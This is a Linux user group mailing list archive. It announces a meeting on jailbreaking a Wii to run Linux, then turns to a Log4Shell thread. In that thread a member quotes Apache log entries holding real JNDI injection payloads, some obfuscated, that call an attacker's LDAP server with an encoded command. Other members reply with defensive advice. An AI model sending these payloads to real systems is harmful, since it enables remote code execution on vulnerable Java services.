Reminder: December meeting! 12/09/2021 @7pm Hudson Public Library!
Hey Everybody, We've got a meeting this Thursday at the Hudson Public Library! Topic: Jail breaking that Wii you've got laying around to run Linux! Then I'm sure it'll get even more interesting! I'd like to brain storm about topics we'd like to talk about next year! Ideas that have been talked about: 1. Pi-hole. What it is, how it works and why you want one! 2. Raspberry Pi clusters.. How to build one and what would you do with one? 3. Ham radio and Linux. I'll have snacks and refreshments on hand, we'll head off to dinner afterwards! Later, Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".
Hey Tim, Thanks for the update! This meeting agenda looks exciting! I might get some new inspiration for my Raspberry Pi. Do we have a preference for where we could eat after this meeting? Rail Trail Flatbread seemed to work well last time, maybe we can try Less Than Greater Than? https://www.lessthangreaterthan.com/eat - Josh On Tue, Dec 7, 2021 at 11:50 PM Tim Keller via WLUG <wlug@lists.wlug.org> wrote:
Hey Everybody,
We've got a meeting this Thursday at the Hudson Public Library!
Topic: Jail breaking that Wii you've got laying around to run Linux! Then I'm sure it'll get even more interesting! I'd like to brain storm about topics we'd like to talk about next year!
Ideas that have been talked about: 1. Pi-hole. What it is, how it works and why you want one! 2. Raspberry Pi clusters.. How to build one and what would you do with one? 3. Ham radio and Linux.
I'll have snacks and refreshments on hand, we'll head off to dinner afterwards! Later, Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers". _______________________________________________ WLUG mailing list -- wlug@lists.wlug.org To unsubscribe send an email to wlug-leave@lists.wlug.org Create Account: https://wlug.mailman3.com/accounts/signup/ Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/DX7SRX...
Hi Everyone, Is the usual meet.jit.si/WlugMA going to be up for far away participants? I've also got 30 seconds of follow up about what I've learned configuring my minimalist wifi repeater. I'll gladly type it out and mail it here if a mixed mode meeting isn't the plan tonight. Thanks again for the help, Drew On Thu, Dec 9, 2021 at 2:24 PM Joshua Stone via WLUG <wlug@lists.wlug.org> wrote:
Hey Tim,
Thanks for the update! This meeting agenda looks exciting! I might get some new inspiration for my Raspberry Pi.
Do we have a preference for where we could eat after this meeting? Rail Trail Flatbread seemed to work well last time, maybe we can try Less Than Greater Than?
https://www.lessthangreaterthan.com/eat
- Josh
On Tue, Dec 7, 2021 at 11:50 PM Tim Keller via WLUG <wlug@lists.wlug.org> wrote:
Hey Everybody,
We've got a meeting this Thursday at the Hudson Public Library!
Topic: Jail breaking that Wii you've got laying around to run Linux! Then I'm sure it'll get even more interesting! I'd like to brain storm about topics we'd like to talk about next year!
Ideas that have been talked about: 1. Pi-hole. What it is, how it works and why you want one! 2. Raspberry Pi clusters.. How to build one and what would you do with one? 3. Ham radio and Linux.
I'll have snacks and refreshments on hand, we'll head off to dinner afterwards! Later, Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers". _______________________________________________ WLUG mailing list -- wlug@lists.wlug.org To unsubscribe send an email to wlug-leave@lists.wlug.org Create Account: https://wlug.mailman3.com/accounts/signup/ Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/DX7SRX...
_______________________________________________ WLUG mailing list -- wlug@lists.wlug.org To unsubscribe send an email to wlug-leave@lists.wlug.org Create Account: https://wlug.mailman3.com/accounts/signup/ Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/JDVHP6...
Tim Keller via WLUG <wlug@lists.wlug.org> writes:
Hey Everybody,
We've got a meeting this Thursday at the Hudson Public Library!
Topic: Jail breaking that Wii you've got laying around to run Linux! Then I'm sure it'll get even more interesting! I'd like to brain storm about topics we'd like to talk about next year!
I am Wiiless, but always interested techniques to run it my way.
Ideas that have been talked about: 1. Pi-hole. What it is, how it works and why you want one! 2. Raspberry Pi clusters.. How to build one and what would you do with one? 3. Ham radio and Linux.
I'll have snacks and refreshments on hand, we'll head off to dinner afterwards!
I notice no mention was made of
Secondly, the meeting will also be online at our usual Jitsi location for people who can't make it in person. https://meet.jit.si/WlugMA
I couldn't get into that the last time, but it is said by one who knows that it was working. I don't know if I will have a jit.si capable computer, but I do know that I will not be in Hudson tonight. I would like to check in. Can I assume that someone will do what someone has done to make what has happened before happen again? Or will the forgotten past be gone forever into the memory hole? -- Keith PS: https://meet.jit.si/WlugMA hereby goes viral!
Are we worried about Log4j / Log4shell (CVE-2021-44228)? I run Apache and never look at the log files. Where are they anyway? Can I configure them out of existence, or just log boring stuff? I don't need remote logging. Can I just firewall packets? -- Keith
Log4j is a Java logging library. If you're running apache and not using Java, I don't think you need to be concerned. See here... https://en.wikipedia.org/wiki/Log4Shell Dec 15, 2021 2:07:59 PM Keith Wright via WLUG <wlug@lists.wlug.org>:
Are we worried about Log4j / Log4shell (CVE-2021-44228)?
I run Apache and never look at the log files.
Where are they anyway? Can I configure them out of existence, or just log boring stuff?
I don't need remote logging. Can I just firewall packets?
-- Keith _______________________________________________ WLUG mailing list -- wlug@lists.wlug.org To unsubscribe send an email to wlug-leave@lists.wlug.org Create Account: https://wlug.mailman3.com/accounts/signup/ Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/GVITNV...
Michael Voorhis <mvoorhis@mcvau.net> writes:
Log4j is a Java logging library. If you're running apache and not using Java, I don't think you need to be concerned.
See here...
Interesting link, thanks for that. I don't use Java, but is Apache using it without my knowledge? NB: I am a bear of little brain. -- Pooh I can't. I don't know how it works! -- OZ I find in /var/log/httpd/access_log 95.54.160.149 - - [15/Dec/2021:12:59:07 -0500] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1c ... ... "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}: //195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgL ... ... So they are trying. How can tell if they succeeded? I have "gij" installed (by distro). I didn't know that two hours ago. What would break if I just deleted that? -- Keith
httpd does not use log4j. solr, on the other hand, normally does. ...and Minecraft, if that applies to your server :P ~Chris On 12/15/21 15:26, Keith Wright via WLUG wrote:
Michael Voorhis <mvoorhis@mcvau.net> writes:
Log4j is a Java logging library. If you're running apache and not using Java, I don't think you need to be concerned.
See here...
https://en.wikipedia.org/wiki/Log4Shell Interesting link, thanks for that.
I don't use Java, but is Apache using it without my knowledge?
NB: I am a bear of little brain. -- Pooh I can't. I don't know how it works! -- OZ
I find in /var/log/httpd/access_log
95.54.160.149 - - [15/Dec/2021:12:59:07 -0500] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1c ... ... "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}: //195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgL ... ...
So they are trying. How can tell if they succeeded?
I have "gij" installed (by distro). I didn't know that two hours ago.
What would break if I just deleted that?
-- Keith _______________________________________________ WLUG mailing list -- wlug@lists.wlug.org To unsubscribe send an email to wlug-leave@lists.wlug.org Create Account: https://wlug.mailman3.com/accounts/signup/ Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/XJKARZ...
This might be able to find out if your system has any traces of log4j installed: sudo find / -name '*log4j*' -print If that doesn't output anything, you are most likely safe. ________________________________ From: Chris Thompson via WLUG <wlug@lists.wlug.org> Sent: Wednesday, December 15, 2021 3:40 PM To: wlug@lists.wlug.org <wlug@lists.wlug.org> Cc: Chris Thompson <wolcen@riseup.net> Subject: [WLUG] Re: Bug in the news httpd does not use log4j. solr, on the other hand, normally does. ...and Minecraft, if that applies to your server :P ~Chris On 12/15/21 15:26, Keith Wright via WLUG wrote:
Michael Voorhis <mvoorhis@mcvau.net> writes:
Log4j is a Java logging library. If you're running apache and not using Java, I don't think you need to be concerned.
See here...
https://en.wikipedia.org/wiki/Log4Shell Interesting link, thanks for that.
I don't use Java, but is Apache using it without my knowledge?
NB: I am a bear of little brain. -- Pooh I can't. I don't know how it works! -- OZ
I find in /var/log/httpd/access_log
95.54.160.149 - - [15/Dec/2021:12:59:07 -0500] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1c ... ... "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}: //195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgL ... ...
So they are trying. How can tell if they succeeded?
I have "gij" installed (by distro). I didn't know that two hours ago.
What would break if I just deleted that?
-- Keith
participants (7)
-
Andrew Oprea -
Charles R. Anderson, Jr. -
Chris Thompson -
Joshua Stone -
Keith Wright -
Michael Voorhis -
Tim Keller